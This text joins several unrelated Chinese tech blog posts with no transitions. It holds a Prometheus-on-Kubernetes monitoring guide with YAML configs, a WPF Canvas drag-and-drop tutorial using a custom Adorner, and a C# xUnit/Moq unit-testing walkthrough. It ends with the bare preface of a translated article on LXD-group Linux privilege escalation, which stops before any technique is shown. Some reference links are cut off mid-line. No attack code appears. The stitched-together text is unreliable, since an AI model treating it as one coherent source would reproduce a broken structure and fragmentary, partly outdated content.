2024年6月

在这篇文章中,我们深入探讨了Prometheus在Kubernetes环境中的应用,涵盖了从基础概念到实战应用的全面介绍。内容包括Prometheus的架构、数据模型、PromQL查询语言,以及在Kubernetes中的集成方式、监控策略、告警配置和数据可视化技巧。此外,还包括针对不同监控场景的实战指导和优化建议。

关注【TechLeadCloud】,分享互联网架构、云服务技术的全维度知识。作者拥有10+年互联网服务架构、AI产品研发经验、团队管理经验,同济本复旦硕,复旦机器人智能实验室成员,阿里云认证的资深架构师,项目管理专业人士,上亿营收AI产品研发负责人

file

一、Prometheus简介

Prometheus, 作为一个开源系统监控和警报工具包,自从2012年诞生以来,已经成为云原生生态系统中不可或缺的组成部分。

Prometheus的核心概念

Prometheus的设计初衷是为了应对动态的云环境中的监控挑战。它采用了多维数据模型,其中时间序列数据由metric name和一系列的键值对(即标签)标识。这种设计使得Prometheus非常适合于存储和查询大量的监控数据,特别是在微服务架构的环境中。

与传统监控工具不同,Prometheus采用的是主动拉取(pull)模式来收集监控指标,即定期从配置好的目标(如HTTP端点)拉取数据。这种方式简化了监控配置,并使得Prometheus能够更灵活地适应各种服务的变化。

此外,Prometheus的另一个显著特点是其强大的查询语言PromQL。PromQL允许用户通过简洁的表达式来检索和处理时间序列数据,支持多种数学运算、聚合操作和时间序列预测等功能。

Prometheus的架构特点

Prometheus的架构设计独特且具有高度的灵活性。它主要包括以下几个组件:

  • 数据收集组件(Prometheus Server)
    :负责数据的收集、存储和查询处理。
  • 客户端库(Client Libraries)
    :用于各种语言和应用程序,方便集成监控指标。
  • 推送网关(Pushgateway)
    :适用于短期作业,可将指标推送至Prometheus。
  • 数据可视化组件(如Grafana)
    :与Prometheus集成,用于数据的可视化展示。

Prometheus的存储机制是另一个亮点。它采用了时间序列数据库来存储数据,这种数据库优化了时间序列数据的读写效率。尽管Prometheus提供了一定的持久化机制,但它的主要设计目标还是在于可靠性和实时性,而不是长期数据存储。

在现代云服务中的作用

Prometheus在微服务架构中尤为重要。随着容器化和微服务的普及,传统的监控系统往往难以应对频繁变化的服务架构和动态的服务发现需求。Prometheus的设计正好适应了这种环境,它能够有效地监控成千上万的端点,及时反馈系统状态,并支持快速的故障检测和定位。

综上所述,Prometheus不仅仅是一个监控工具,更是微服务环境中不可或缺的基础设施组件。通过其高效的数据收集、强大的查询能力和灵活的架构设计,Prometheus为现代云服务提供了强大的监控和警报能力,成为了云原生生态系统中的一个关键角色。

二、Prometheus组成

file

Prometheus架构与组件

Prometheus的架构设计独特,涵盖了从数据采集到存储、查询及警报的全过程。核心组件包括:

1. Prometheus Server

Prometheus Server是整个架构的核心,它负责数据的收集(通过拉取模式)、存储和处理时间序列数据。Server内部由几个关键组件构成:

  • 数据采集器(Retrieval)
    :负责从配置的目标中拉取监控数据。
  • 时间序列数据库(TSDB)
    :用于存储拉取的监控数据。
  • PromQL引擎
    :处理所有的查询请求。

2. 客户端库

Prometheus提供了多种语言的客户端库,如Go、Java、Python等,允许用户在自己的服务中导出指标。

3. 推送网关(Pushgateway)

对于那些不适合或不能直接被Prometheus Server拉取数据的场景(如批处理作业),Pushgateway作为一个中间层允许这些作业将数据推送至此。

4. 导出器(Exporters)

对于不能直接提供Prometheus格式指标的服务,Exporters可以用来导出这些服务的指标,例如:Node exporter、MySQL exporter等。

5. Alertmanager

用于处理由Prometheus Server发送的警报,支持多种通知方式,并且可以对警报进行分组、抑制和静默等处理。

Prometheus的数据模型

Prometheus的数据模型是理解其功能的关键。在Prometheus中,所有的监控数据都被存储为时间序列,每个时间序列都由唯一的metric name和一系列的标签(键值对)来标识。

1. Metric Types

Prometheus支持多种类型的指标,包括:

  • Counter
    :一个累加值,常用于表示请求数、任务完成数等。
  • Gauge
    :可以任意增减的值,常用于表示温度、内存使用量等。
  • Histogram
    :用于表示观测值的分布,如请求持续时间。
  • Summary
    :与Histogram类似,但提供更多的统计信息。

2. 时间序列数据

每个时间序列由metric name和一系列标签唯一确定。标签使得Prometheus非常适合于处理多维度的监控数据,为用户提供了丰富的查询能力。

PromQL:Prometheus查询语言

PromQL是Prometheus的强大查询语言,它允许用户执行复杂的数据查询和聚合操作。PromQL的关键特点包括:

  • 支持多种类型的查询,包括即时查询、范围查询等。
  • 支持多种数据聚合操作,如sum、avg、histogram_quantile等。
  • 能够处理不同时间序列之间的数学运算。

PromQL的高级特性使得用户能够从庞大的监控数据中提取出有价值的信息,并进行深入的性能分析。

Prometheus的数据采集

Prometheus采用主动拉取(pull)模式来采集监控数据。这意味着Prometheus Server会定期从配置的目标(如HTTP端点)拉取数据。这种方式与传统的被动推送(push)模式相比,具有以下优势:

  • 简化了监控配置,因为所有的配置都集中在Prometheus Server端。
  • 提高了监控的可靠性,因为Server端可以控制采集频率和重试逻辑。

Prometheus的存储机制

Prometheus使用自带的时间序列数据库来存储监控数据。这个数据库专门为处理时间序列数据而优化,具有高效的数据压缩和快速的查询能力。然而,Prometheus的存储并不适用于长期数据存储。对于需要长期存储监控数据的场景,通常需要与其他外部存储系统(如Thanos或Cortex)集成。

Prometheus的监控和警报

监控和警报是Prometheus的核心功能之一。Prometheus允许用户定义复杂的警报规则,并在规则被触发时发送通知。Alertmanager作为警报的管理组件,支持多种通知方式,包括邮件、Webhook、Slack等。

三、Kubernetes与Prometheus的集成

file
在这一部分中,我们将深入探讨如何将Prometheus与Kubernetes(K8s)集成,以便实现对Kubernetes集群的有效监控。我们将从集成的基本概念开始,探索Prometheus在Kubernetes环境中的部署方式,以及如何配置和使用Prometheus来监控Kubernetes集群。

Kubernetes简介

在深入Prometheus与Kubernetes的集成之前,首先简要回顾一下Kubernetes的核心概念。Kubernetes是一个开源的容器编排平台,用于自动化容器的部署、扩展和管理。它提供了高度的可扩展性和灵活性,使得它成为微服务和云原生应用的理想选择。

核心组件

  • 控制平面(Control Plane)
    :集群管理相关的组件,如API服务器、调度器等。
  • 工作节点(Nodes)
    :运行应用容器的机器。
  • Pods
    :Kubernetes的基本运行单位,可以容纳一个或多个容器。

部署Prometheus到Kubernetes

将Prometheus部署到Kubernetes中,主要涉及到以下几个步骤:

1. 使用Helm Chart

Helm是Kubernetes的包管理工具,类似于Linux的apt或yum。通过Helm,可以快速部署Prometheus。Prometheus的Helm chart包括了所有必要的Kubernetes资源定义,如Deployments、Services和ConfigMaps。

# 示例:使用Helm部署Prometheus
helm install stable/prometheus --name my-prometheus --namespace monitoring

2. 配置服务发现

为了监控Kubernetes集群中的节点和服务,Prometheus需要配置适当的服务发现机制。Kubernetes服务发现使Prometheus能够自动发现集群中的服务和Pods。

# 示例:Prometheus配置文件中的服务发现部分
scrape_configs:
  - job_name: 'kubernetes-nodes'
    kubernetes_sd_configs:
      - role: node

3. 设置RBAC规则

由于Prometheus需要访问Kubernetes API来发现服务,因此需要配置相应的RBAC(基于角色的访问控制)规则,以赋予Prometheus所需的权限。

# 示例:Kubernetes RBAC配置
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: prometheus
rules:
  - apiGroups: [""]
    resources: ["nodes", "services", "endpoints", "pods"]
    verbs: ["get", "list", "watch"]

监控Kubernetes集群

一旦Prometheus成功部署到Kubernetes,并配置了服务发现,它就可以开始监控Kubernetes集群了。监控的关键点包括:

1. 监控节点和Pods

Prometheus可以收集关于Kubernetes节点和Pods的各种指标,如CPU和内存使用情况、网络流量等。

2. 监控Kubernetes内部组件

除了标准的节点和Pods监控,Prometheus还可以监控Kubernetes的内部组件,如etcd、API服务器、调度器等。

3. 自定义监控指标

对于Kubernetes中运行的应用,可以通过Prometheus的客户端库来导出自定义的监控指标,从而实现对应用的细粒度监控。

Prometheus与Kubernetes的高级集成

随着集群的增长和应用的复杂化,对监控系统的要求也会随之提高。Prometheus与Kubernetes的集成可以进一步扩展,以适应更复杂的监控需求。例如,使用Prometheus Operator可以简化和自动化监控配置的管理。Prometheus Operator定义了一系列自定义资源定义(CRD),如ServiceMonitor,这些CRD可以更为灵活和动态地配置Prometheus监控目标。

配置Prometheus监控Kubernetes

配置Prometheus以监控Kubernetes涉及多个方面,确保监控覆盖到集群的各个组件,并且能够提供实时的反馈和预警。

1. 采集Kubernetes指标

Kubernetes暴露了丰富的指标,可以通过Prometheus收集,这些指标包括节点性能、资源使用情况等。配置Prometheus采集这些指标,需要在Prometheus的配置文件中指定Kubernetes的API作为数据源。

# 示例:配置Prometheus采集Kubernetes指标
scrape_configs:
  - job_name: 'kubernetes-pods'
    kubernetes_sd_configs:
      - role: pod

2. 监控Kubernetes API服务器

Kubernetes API服务器是集群的核心,监控其性能和健康状态对于维护集群稳定性至关重要。通过配置Prometheus,可以收集API服务器的响应时间、请求量等关键指标。

3. 使用ServiceMonitor管理监控目标

在使用Prometheus Operator时,ServiceMonitor资源可以用来更加灵活地管理监控目标。通过定义ServiceMonitor,可以自动发现并监控符合特定标签规则的服务。

# 示例:使用ServiceMonitor定义监控目标
apiVersion: monitoring.coreos.com/v1
kind: ServiceMonitor
metadata:
  name: example-service
spec:
  selector:
    matchLabels:
      app: example-app
  endpoints:
  - port: web

Prometheus在Kubernetes中的高可用性部署

随着监控的重要性日益增加,确保Prometheus在Kubernetes中的高可用性(HA)也变得至关重要。

1. 多副本部署

在Kubernetes中部署多个Prometheus副本,可以提高服务的可用性。通过配置StatefulSet和Persistent Volume,可以保证Prometheus的数据持久性和一致性。

2. 负载均衡和服务发现

使用Kubernetes的负载均衡和服务发现机制,可以确保流量在多个Prometheus副本之间正确分配,并保持监控系统的稳定性。

监控Kubernetes集群的最佳实践

为了最大化Prometheus在Kubernetes中的效能,遵循以下最佳实践至关重要:

1. 精细化监控指标

选择适当的指标进行监控,避免数据过载。重点关注那些对系统性能和健康状况最为关键的指标。

2. 利用标签和注释

充分利用Kubernetes的标签和注释功能,以组织和管理监控目标。这样可以更容易地过滤和查询相关指标。

3. 定期审查和调整告警规则

随着系统的发展和变化,定期审查和调整告警规则是必要的,以确保告警的准确性和及时性。

四、Prometheus监控与告警实战

file
在这一部分中,我们将深入探讨如何在实际环境中应用Prometheus进行监控和告警,包括设置监控指标、配置告警规则、集成告警通知系统,以及进行监控数据的可视化。

监控策略的设定

有效的监控始于明智地选择和配置监控指标。在Prometheus中,监控策略的设定包括以下关键方面:

1. 确定监控目标

明确监控的关键组件,如服务器、数据库、应用程序等。对于每个组件,确定哪些指标是关键的,如CPU使用率、内存占用、网络流量等。

2. 配置指标收集

使用Prometheus的配置文件或客户端库来收集这些关键指标。例如,对于一个Web服务,可以收集HTTP请求的数量、响应时间等。

# 示例:配置Prometheus监控Web服务
scrape_configs:
  - job_name: 'web-service'
    static_configs:
      - targets: ['localhost:9090']

3. 自定义指标

对于特定的业务逻辑或应用程序性能,可以使用Prometheus的客户端库来定义和导出自定义指标。

告警规则的配置

在监控系统中,告警是及时响应问题的关键。在Prometheus中,告警规则的配置包括:

1. 定义告警规则

使用PromQL定义告警条件。例如,如果某个服务的响应时间超过预设阈值,则触发告警。

# 示例:告警规则定义
groups:
- name: example
  rules:
  - alert: HighRequestLatency
    expr: job:request_latency_seconds:mean5m{job="myjob"} > 0.5
    for: 10m
    labels:
      severity: page
    annotations:
      summary: High request latency

2. 设置告警的持续时间

确定告警条件持续多久后触发告警。这可以防止短暂的指标波动导致的误报。

3. 配置告警标签和注释

通过设置标签和注释来分类告警,并提供更多告警详情,以帮助快速定位问题。

Alertmanager的集成和配置

Alertmanager负责处理由Prometheus发送的告警,并将告警通知发送到不同的接收器,如邮件、Slack等。

1. 配置告警路由

根据告警的严重性和类型配置不同的告警路由,确保告警信息能被正确地发送到相应的处理人或团队。

# 示例:Alertmanager告警路由配置
route:
  group_by: ['alertname', 'severity']
  group_wait: 30s
  group_interval: 5m
  repeat_interval: 3h
  receiver: 'team-X-mails'

2. 集成多种通知方式

配置不同的通知方式,如邮件、Slack、Webhook等,以适应不同团队的需求。

3. 告警的抑制和静默

在某些情况下,可以配置告警的抑制规则来避免冗余告警,或设置告警静默,以在维护期间停止告警通知。

监控数据的可视化

数据的可视化是监控系统的重要组成部分,它可以帮助团队更直观地理解系统的状态和性能。

1. 使用Grafana集成Prometheus

Grafana是一个流行的开源仪表板工具,可以与Prometheus集成,提供丰富的数据可视化功能。通过Grafana,可以创建实时的监控仪表板,展示关键指标的趋势、分布等。

2. 构建仪表板

在Grafana中构建仪表板,选择合适的图表类型来展示不同的监控指标。可以根据需要创建多个仪表板,针对不同的用户或团队展示相关的监控数据。

3. 设置仪表板告警

Grafana也支持基于仪表板指标的告警功能。可以在Grafana中设置告警规则,并配置告警通知。

实际监控场景应用

实际监控场景中,Prometheus的应用需要根据具体的业务需求和环境进行调整。以下是一些常见的监控场景应用:

1. 微服务监控

在微服务架构中,Prometheus可以监控每个服务的性能和健康状态。通过收集服务响应时间、错误率等指标,可以及时发现和定位问题。

2. 数据库性能监控

对于数据库服务,重要的监控指标包括查询响应时间、事务吞吐量、连接数等。Prometheus可以帮助识别数据库性能瓶颈和潜在的问题。

3. 容器和Kubernetes集群监控

在容器化环境中,Prometheus可以监控容器的资源使用情况,以及Kubernetes集群的整体健康状态,包括节点健康、Pod状态等。

告警优化策略

为了提高告警的有效性和准确性,需要采用一些优化策略:

1. 动态告警阈值

根据历史数据和业务周期性波动,动态调整告警阈值,可以减少误报和漏报。

2. 相关性分析

通过分析不同告警之间的相关性,可以识别出根本原因,防止同一问题产生大量冗余告警。

3. 告警收敛

对于由同一根本原因引起的多个告警,可以将它们合并为一个综合告警,以简化问题的响应和处理。

监控数据的深入分析

除了基本的监控和告警,深入分析监控数据可以提供更多洞察,帮助优化系统性能和资源使用。

1. 长期趋势分析

通过分析长期的监控数据,可以识别系统的性能趋势,预测未来的资源需求,从而进行更有效的容量规划。

2. 异常检测

利用Prometheus收集的数据进行异常检测,可以及时发现系统的异常行为,甚至在问题发生前采取预防措施。

3. 故障诊断

通过详细的监控数据和日志,可以快速定位故障发生的原因,缩短故障恢复时间。

高级数据可视化技巧

高级的数据可视化技巧可以帮助更直观地理解监控数据,包括:

1. 复合图表

使用复合图表显示相关指标的对比和关联,如将CPU使用率和内存使用率在同一图表中展示。

2. 仪表板模板

创建可重用的仪表板模板,可以快速部署到不同的监控场景,提高监控设置的效率。

3. 交互式探索

利用Grafana的交互式探索功能,可以动态地调整查询参数,深入分析特定的监控数据。

关注【TechLeadCloud】,分享互联网架构、云服务技术的全维度知识。作者拥有10+年互联网服务架构、AI产品研发经验、团队管理经验,同济本复旦硕,复旦机器人智能实验室成员,阿里云认证的资深架构师,项目管理专业人士,上亿营收AI产品研发负责人
如有帮助,请多关注
TeahLead KrisChang,10+年的互联网和人工智能从业经验,10年+技术和业务团队管理经验,同济软件工程本科,复旦工程管理硕士,阿里云认证云服务资深架构师,上亿营收AI产品业务负责人。

前言

在Canvas中放置了一些元素,需要能够拖拉这些元素,在WPF Samples中的DragDropObjects项目中告诉了我们如何实现这种效果。

效果如下所示:

拖拉过程中的效果如下所示:

image-20240627093348785

具体实现

xaml页面

我们先来看看xaml:

 <Canvas Name="MyCanvas"
         PreviewMouseLeftButtonDown="MyCanvas_PreviewMouseLeftButtonDown" 
         PreviewMouseMove="MyCanvas_PreviewMouseMove"
         PreviewMouseLeftButtonUp="MyCanvas_PreviewMouseLeftButtonUp">
     <Rectangle Fill="Blue" Height="32" Width="32" Canvas.Top="8" Canvas.Left="8"/>
     <TextBox Text="This is a TextBox. Drag and drop me" Canvas.Top="100" Canvas.Left="100"/>
 </Canvas>

为了实现这个效果,在Canvas上使用了三个隧道事件(预览事件)
PreviewMouseLeftButtonDown

PreviewMouseMove

PreviewMouseLeftButtonUp

而什么是隧道事件(预览事件)呢?

预览事件,也称为隧道事件,是从应用程序根元素向下遍历元素树到引发事件的元素的路由事件。

PreviewMouseLeftButtonDown
当用户按下鼠标左键时触发。

PreviewMouseMove
当用户移动鼠标时触发。

PreviewMouseLeftButtonUp
当用户释放鼠标左键时触发。

再来看看cs:

 private bool _isDown;
 private bool _isDragging;
 private UIElement _originalElement;
 private double _originalLeft;
 private double _originalTop;
 private SimpleCircleAdorner _overlayElement;
 private Point _startPoint;

定义了这几个私有字段。

鼠标左键按下事件处理程序

鼠标左键按下事件处理程序:

 private void MyCanvas_PreviewMouseLeftButtonDown(object sender, MouseButtonEventArgs e)
 {
     if (e.Source == MyCanvas)
     {
     }
     else
     {
         _isDown = true;
         _startPoint = e.GetPosition(MyCanvas);
         _originalElement = e.Source as UIElement;
         MyCanvas.CaptureMouse();
         e.Handled = true;
     }
 }

最开始引发这个事件的是MyCanvas元素,当事件源是Canvas的时候,不做处理,因为我们只想处理发生在MyCanvas子元素上的鼠标左键按下事件。

鼠标移动事件处理程序

现在来看看鼠标移动事件处理程序:

  private void MyCanvas_PreviewMouseMove(object sender, MouseEventArgs e)
  {
      if (_isDown)
      {
          if ((_isDragging == false) &&
              ((Math.Abs(e.GetPosition(MyCanvas).X - _startPoint.X) >
                SystemParameters.MinimumHorizontalDragDistance) ||
               (Math.Abs(e.GetPosition(MyCanvas).Y - _startPoint.Y) >
                SystemParameters.MinimumVerticalDragDistance)))
          {
              DragStarted();
          }
          if (_isDragging)
          {
              DragMoved();
          }
      }
  }

鼠标左键已经按下了,但还没开始移动事,执行DragStarted方法。

创建装饰器

DragStarted方法如下:

 private void DragStarted()
 {
     _isDragging = true;
     _originalLeft = Canvas.GetLeft(_originalElement);
     _originalTop = Canvas.GetTop(_originalElement);

     _overlayElement = new SimpleCircleAdorner(_originalElement);
     var layer = AdornerLayer.GetAdornerLayer(_originalElement);
     layer.Add(_overlayElement);
 }
_overlayElement = new SimpleCircleAdorner(_originalElement);

创建了一个新的装饰器(Adorner)并将其与一个特定的UI元素关联起来。

而WPF中装饰器是什么呢?

装饰器是一种特殊类型的
FrameworkElement
,用于向用户提供视觉提示。 装饰器有很多用途,可用来向元素添加功能句柄,或者提供有关某个控件的状态信息。

Adorner
是绑定到
UIElement
的自定义
FrameworkElement
。 装饰器在
AdornerLayer
中呈现,它是始终位于装饰元素或装饰元素集合之上的呈现表面。 装饰器的呈现独立于装饰器绑定到的
UIElement
的呈现。 装饰器通常使用位于装饰元素左上部的标准 2D 坐标原点,相对于其绑定到的元素进行定位。

装饰器的常见应用包括:


  • UIElement
    添加功能句柄,使用户能够以某种方式操作元素(调整大小、旋转、重新定位等)。
  • 提供视觉反馈以指示各种状态,或者响应各种事件。

  • UIElement
    上叠加视觉装饰。
  • 以视觉方式遮盖或覆盖
    UIElement
    的一部分或全部。

Windows Presentation Foundation (WPF) 为装饰视觉元素提供了一个基本框架。

在这个Demo中装饰器就是移动过程中四个角上出现的小圆以及内部不断闪烁的颜色,如下所示:

image-20240627095912873

image-20240627095956121

这是如何实现的呢?

这个Demo中自定义了一个继承自Adorner的SimpleCircleAdorner,代码如下所示:

using System;
using System.Windows;
using System.Windows.Documents;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Shapes;

namespace DragDropObjects
{
    public class SimpleCircleAdorner : Adorner
    {
        private readonly Rectangle _child;
        private double _leftOffset;
        private double _topOffset;
        // Be sure to call the base class constructor.
        public SimpleCircleAdorner(UIElement adornedElement)
            : base(adornedElement)
        {
            var brush = new VisualBrush(adornedElement);

            _child = new Rectangle
            {
                Width = adornedElement.RenderSize.Width,
                Height = adornedElement.RenderSize.Height
            };


            var animation = new DoubleAnimation(0.3, 1, new Duration(TimeSpan.FromSeconds(1)))
            {
                AutoReverse = true,
                RepeatBehavior = RepeatBehavior.Forever
            };
            brush.BeginAnimation(Brush.OpacityProperty, animation);

            _child.Fill = brush;
        }

        protected override int VisualChildrenCount => 1;

        public double LeftOffset
        {
            get { return _leftOffset; }
            set
            {
                _leftOffset = value;
                UpdatePosition();
            }
        }

        public double TopOffset
        {
            get { return _topOffset; }
            set
            {
                _topOffset = value;
                UpdatePosition();
            }
        }

        // A common way to implement an adorner's rendering behavior is to override the OnRender
        // method, which is called by the layout subsystem as part of a rendering pass.
        protected override void OnRender(DrawingContext drawingContext)
        {
            // Get a rectangle that represents the desired size of the rendered element
            // after the rendering pass.  This will be used to draw at the corners of the 
            // adorned element.
            var adornedElementRect = new Rect(AdornedElement.DesiredSize);

            // Some arbitrary drawing implements.
            var renderBrush = new SolidColorBrush(Colors.Green) {Opacity = 0.2};
            var renderPen = new Pen(new SolidColorBrush(Colors.Navy), 1.5);
            const double renderRadius = 5.0;

            // Just draw a circle at each corner.
            drawingContext.DrawRectangle(renderBrush, renderPen, adornedElementRect);
            drawingContext.DrawEllipse(renderBrush, renderPen, adornedElementRect.TopLeft, renderRadius, renderRadius);
            drawingContext.DrawEllipse(renderBrush, renderPen, adornedElementRect.TopRight, renderRadius, renderRadius);
            drawingContext.DrawEllipse(renderBrush, renderPen, adornedElementRect.BottomLeft, renderRadius, renderRadius);
            drawingContext.DrawEllipse(renderBrush, renderPen, adornedElementRect.BottomRight, renderRadius,
                renderRadius);
        }

        protected override Size MeasureOverride(Size constraint)
        {
            _child.Measure(constraint);
            return _child.DesiredSize;
        }

        protected override Size ArrangeOverride(Size finalSize)
        {
            _child.Arrange(new Rect(finalSize));
            return finalSize;
        }

        protected override Visual GetVisualChild(int index) => _child;

        private void UpdatePosition()
        {
            var adornerLayer = Parent as AdornerLayer;
            adornerLayer?.Update(AdornedElement);
        }

        public override GeneralTransform GetDesiredTransform(GeneralTransform transform)
        {
            var result = new GeneralTransformGroup();
            result.Children.Add(base.GetDesiredTransform(transform));
            result.Children.Add(new TranslateTransform(_leftOffset, _topOffset));
            return result;
        }
    }
}
  var animation = new DoubleAnimation(0.3, 1, new Duration(TimeSpan.FromSeconds(1)))
            {
                AutoReverse = true,
                RepeatBehavior = RepeatBehavior.Forever
            };
            brush.BeginAnimation(Brush.OpacityProperty, animation);

这里在元素内部添加了动画。

 // Just draw a circle at each corner.
            drawingContext.DrawRectangle(renderBrush, renderPen, adornedElementRect);
            drawingContext.DrawEllipse(renderBrush, renderPen, adornedElementRect.TopLeft, renderRadius, renderRadius);
            drawingContext.DrawEllipse(renderBrush, renderPen, adornedElementRect.TopRight, renderRadius, renderRadius);
            drawingContext.DrawEllipse(renderBrush, renderPen, adornedElementRect.BottomLeft, renderRadius, renderRadius);
            drawingContext.DrawEllipse(renderBrush, renderPen, adornedElementRect.BottomRight, renderRadius,
                renderRadius);

这里在元素的四个角画了小圆形。

  var layer = AdornerLayer.GetAdornerLayer(_originalElement);
      layer.Add(_overlayElement);

这段代码的作用是将之前创建的装饰器
_overlayElement
添加到与特定UI元素
_originalElement
相关联的装饰器层(AdornerLayer)中。一旦装饰器被添加到装饰器层中,它就会在
_originalElement
被渲染时显示出来。

AdornerLayer
是一个特殊的层,用于在UI元素上绘制装饰器。每个UI元素都有一个与之关联的装饰器层,但并不是所有的UI元素都能直接看到这个层。

GetAdornerLayer方法会返回与_originalElement相关联的装饰器层。

装饰器层会负责管理装饰器的渲染和布局,确保装饰器正确地显示在UI元素上。

再来看看DragMoved方法:

 private void DragMoved()
 {
     var currentPosition = Mouse.GetPosition(MyCanvas);

     _overlayElement.LeftOffset = currentPosition.X - _startPoint.X;
     _overlayElement.TopOffset = currentPosition.Y - _startPoint.Y;
 }

计算元素的偏移。

鼠标左键松开事件处理程序

鼠标左键松开事件处理程序:

  private void MyCanvas_PreviewMouseLeftButtonUp(object sender, MouseButtonEventArgs e)
  {
      if (_isDown)
      {
          DragFinished();
          e.Handled = true;
      }
  }

DragFinished方法如下:

 private void DragFinished(bool cancelled = false)
 {
     Mouse.Capture(null);
     if (_isDragging)
     {
         AdornerLayer.GetAdornerLayer(_overlayElement.AdornedElement).Remove(_overlayElement);

         if (cancelled == false)
         {
             Canvas.SetTop(_originalElement, _originalTop + _overlayElement.TopOffset);
             Canvas.SetLeft(_originalElement, _originalLeft + _overlayElement.LeftOffset);
         }
         _overlayElement = null;
     }
     _isDragging = false;
     _isDown = false;
 }
 AdornerLayer.GetAdornerLayer(_overlayElement.AdornedElement).Remove(_overlayElement);

从与
_overlayElement
所装饰的UI元素相关联的装饰器层中移除
_overlayElement
,从而使得装饰器不再显示在UI元素上。这样,当UI元素被渲染时,装饰器将不再影响其外观或行为。

代码来源

[WPF-Samples/Drag and Drop/DragDropObjects at main · microsoft/WPF-Samples (github.com)](
https://github.com/microsoft/WPF-Samples/tree/main/Drag
and Drop/DragDropObjects)

参考

1、
预览事件 - WPF .NET | Microsoft Learn

2、
装饰器概述 - WPF .NET Framework | Microsoft Learn

3、[Adorner 类 (System.Windows.Documents) | Microsoft Learn](

单元测试

前言

时隔多个月,终于抽空学习了点新知识,那么这次来记录一下C#怎么进行单元测试,单元测试是做什么的。

我相信大部分刚毕业的都很疑惑单元测试是干什么的?在小厂实习了6个月后,我发现每天除了写CRUD就是写CRUD,几乎用不到单元测试。写完一个功能直接上手去测,当然这只是我个人感受,仅供参考。

然后当我还在抱怨测试好烦的时候,大佬跟我说为什么不用单元测试和集成测试,我这也是有苦说不出。要知道光学会理论知识,没有实践作为基础,都是扯淡,入职这么久还真没用过单元测试,吓得我赶紧去找资料学习。

那么也是通过观看B站某位Up主的视频,然后有点想法写下这篇文章,虽然up主的主题是探究接口的作用和意义,但是视频中也讲解了怎么进行单元测试,所以对于接口理解不够的可以去本文底部观看视频学习。

那么本篇文章就简单的讲解下C#中如何做单元测试,博主也是处于学习阶段,有不对的地方欢迎指出改正。

单元测试简述

单元测试(Unit Testing)是软件开发中的一种测试方法,用于验证代码中的最小可测试单元(通常是方法或函数)是否按照预期进行工作。这些单元通常是独立于其他代码部分进行测试的,以确保其正确性和可靠性。

单元测试的主要作用:

  • 确保每个单元能正确执行
    预期
    功能
  • 能够尽快找到
    Bug
    的具体位置

开始测试

本文以当前时间去返回早上好、中午好、晚上好来讲解单元测试。

通过传入不同的时间(边界值)来确保代码能够正确处理各种情况以及是否达到了预期的功能。

预期结果为:

  • 早上好...
  • 中午好...
  • 晚上好..

项目搭建

主程序

首先需要创建一个控制台项目,起名为
UnitTesting

并安装
Microsoft.Extensions.DependencyInjection
包,管理IOC容器。

创建
ITimeProvider
接口,并创建
SystemTimeProvider
类去实现这个接口

public interface ITimeProvider
{
    int GetHour();
}
//返回当前时间
public class SystemTimeProvider: ITimeProvider
{
    public int GetHour()
    {
        return DateTime.Now.Hour;
    }
}

创建
GreetingService

public class GreetingService
{
    private readonly ITimeProvider _timeProvider;

    public GreetingService(ITimeProvider timeProvider)
    {
        _timeProvider = timeProvider;
    }
    /// <summary>
    /// 通过当前时间来打返回问候语
    /// </summary>
    /// <param name="name"></param>
    /// <returns></returns>
    public string Greet(string name)
    {
        var hour = _timeProvider.GetHour();
        return hour switch
        {
            < 12 => $"Good Morning,{name}",
            < 18 => $"Good Afternoon,{name}",
            _ => $"Good Evening,{name}"
        };
    }
}

Program.cs
使用IOC容器注入服务并调用Greet方法

using Microsoft.Extensions.DependencyInjection;
using UnitTesting.Services;

var container = new ServiceCollection();
container.AddSingleton<ITimeProvider,SystemTimeProvider>();
container.AddTransient<GreetingService>();
var services = container.BuildServiceProvider();

var greetingService = services.GetRequiredService<GreetingService>();
var greeting = greetingService.Greet("吗喽");
Console.WriteLine(greeting);

测试程序


xUnit
模版创建单元测试,名为
UnitTesting.Test
,并添加
UnitTesting
项目引用,还需安装
Moq
包:

Moq包(全称Mocking Objects in C#,简称Moq)是一个流行的模拟框架,其主要作用在于模拟和验证对象的行为,以支持更加可靠和可重复的测试,简单来讲就是模拟创建对象。

回到
GreetingService
类,这里使用Rider提供的快捷方式创建测试类,当然也可以手动创建。如图:

image

测试流程:

  • Arrange
    :准备阶段,创建
    ITimeProvider
    的模拟对象
    provider
    ,并指定时间参数且调用
    GetHour()
    方法,使用这个模拟对象创建
    GreetingService
    实例。
  • Act
    :执行阶段,调用
    GreetingService

    Greet
    方法
  • Assert
    :断言阶段,验证返回的消息是否与预期的结果相同。
using JetBrains.Annotations;
using Moq;
using UnitTesting.Services;

namespace UnitTesting.Tes.Services;

[TestSubject(typeof(GreetingService))]
public class GreetingServiceTests
{
    [Fact]
    public void GreetReturnsMorningMessage()
    {
        // Arrange
        var provider = new Mock<ITimeProvider>();
        provider.Setup(x => x.GetHour()).Returns(10);
        var service = new GreetingService(provider.Object);

        // Act
        var message = service.Greet("吗喽");

        // Assert
        Assert.Equal("Good Morning,吗喽", message);
    }
    [Fact]
    public void GreetReturnsAfternoonMessage()
    {
        // Arrange
        var provider = new Mock<ITimeProvider>();
        provider.Setup(x => x.GetHour()).Returns(15);
        var service = new GreetingService(provider.Object);

        // Act
        var message = service.Greet("吗喽");

        // Assert
        Assert.Equal("Good Afternoon,吗喽", message);
    }
    [Fact]
    public void GreetReturnsEveningMessage()
    {
        // Arrange
        var provider = new Mock<ITimeProvider>();
        provider.Setup(x => x.GetHour()).Returns(20);
        var service = new GreetingService(provider.Object);

        // Act
        var message = service.Greet("吗喽");

        // Assert
        Assert.Equal("Good Evening,吗喽", message);
    }
}

效果截图

主程序没什么好讲的,通过当前时间返回问候语。

image

测试程序通过3个测试方法测试了3种情况,早上好、中午好、晚上好,并全部测试通过。

image

总结

本文讲解了如何创建单元测试,并且通过单元测试来测试Greet方法,在传入不同的时间参数的情况下,判断是否满足3种情况。

本文提到了IOC容器、依赖注入、Moq、xUnit等知识点。

参考链接

本文通过 Google 翻译
LXD Container – Linux Privilege Escalation
这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。



0、前言

在这篇文章中,我们将回顾 Linux 目标上的 LXD 组权限,并了解该组的成员如何将权限从标准用户提升到 root。

